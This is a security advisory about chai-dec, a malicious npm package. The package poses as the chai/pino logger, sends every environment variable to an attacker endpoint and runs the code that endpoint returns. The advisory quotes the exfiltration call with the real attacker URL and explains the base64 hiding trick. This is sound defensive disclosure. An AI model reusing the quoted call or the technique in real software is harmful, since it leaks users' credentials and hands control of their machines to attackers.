Malicious code in chai-dec (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5fbe1098e3267cf9e98fe2591e27b58f87fb44ca8c5475a5fde64fed8c2dd1c3) chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — `module.exports.pino = middleware` — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via `axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } })`, leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed `process.env.DEV_API_KEY` and decoded with `atob` at runtime to evade static review. The HTTP response body is then passed to `new Function('require', response.data)` and invoked with the real `require`, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload. ## Source: ghsa-malware (774328aa0da2fb1ffbd51817372f53e68a4406793a78122f549e5a34f12fead7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
chai-dec is a malicious npm package designed to impersonate the chai/pino ecosystem. Its exported middleware, when invoked, spawns a detached Node.js child process that sends the entire environment variables object to a remote endpoint, leaking sensitive credentials. The remote server’s response is executed as code with full Node privileges, allowing arbitrary remote code execution within the consumer’s process. This attack vector combines credential theft and dynamic remote code execution, making any system running this package fully compromised. The affected version is exactly 2.3.5. No official patch or remediation is documented.
Potential Impact
Systems with chai-dec version 2.3.5 installed or running are fully compromised. All environment variables, including sensitive tokens and credentials, are exfiltrated to an attacker-controlled server. The attacker gains arbitrary remote code execution within the Node.js process, potentially leading to full system compromise. Secrets and keys stored on the affected system should be considered exposed and rotated immediately. Removing the package does not guarantee full remediation due to possible persistence mechanisms.
Mitigation Recommendations
No official patch or fix is currently available. Immediate removal of chai-dec version 2.3.5 from all systems is required. All secrets and credentials exposed on compromised systems must be rotated from a secure environment. Due to the high likelihood of full system compromise, affected systems should be thoroughly audited and potentially rebuilt. Monitor for any signs of persistence or further malicious activity. Check vendor advisories or npm security notices for updates.
Malicious code in chai-dec (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5fbe1098e3267cf9e98fe2591e27b58f87fb44ca8c5475a5fde64fed8c2dd1c3) chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — `module.exports.pino = middleware` — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via `axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } })`, leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed `process.env.DEV_API_KEY` and decoded with `atob` at runtime to evade static review. The HTTP response body is then passed to `new Function('require', response.data)` and invoked with the real `require`, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload. ## Source: ghsa-malware (774328aa0da2fb1ffbd51817372f53e68a4406793a78122f549e5a34f12fead7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
chai-dec is a malicious npm package designed to impersonate the chai/pino ecosystem. Its exported middleware, when invoked, spawns a detached Node.js child process that sends the entire environment variables object to a remote endpoint, leaking sensitive credentials. The remote server’s response is executed as code with full Node privileges, allowing arbitrary remote code execution within the consumer’s process. This attack vector combines credential theft and dynamic remote code execution, making any system running this package fully compromised. The affected version is exactly 2.3.5. No official patch or remediation is documented.
Potential Impact
Systems with chai-dec version 2.3.5 installed or running are fully compromised. All environment variables, including sensitive tokens and credentials, are exfiltrated to an attacker-controlled server. The attacker gains arbitrary remote code execution within the Node.js process, potentially leading to full system compromise. Secrets and keys stored on the affected system should be considered exposed and rotated immediately. Removing the package does not guarantee full remediation due to possible persistence mechanisms.
Mitigation Recommendations
No official patch or fix is currently available. Immediate removal of chai-dec version 2.3.5 from all systems is required. All secrets and credentials exposed on compromised systems must be rotated from a secure environment. Due to the high likelihood of full system compromise, affected systems should be thoroughly audited and potentially rebuilt. Monitor for any signs of persistence or further malicious activity. Check vendor advisories or npm security notices for updates.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5606
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-782j-c8c3-2j5w"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a4c342c27e9c797195fa591
Added to database: 07/06/2026, 23:03:08 UTC
Last enriched: 07/06/2026, 23:24:07 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 5
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.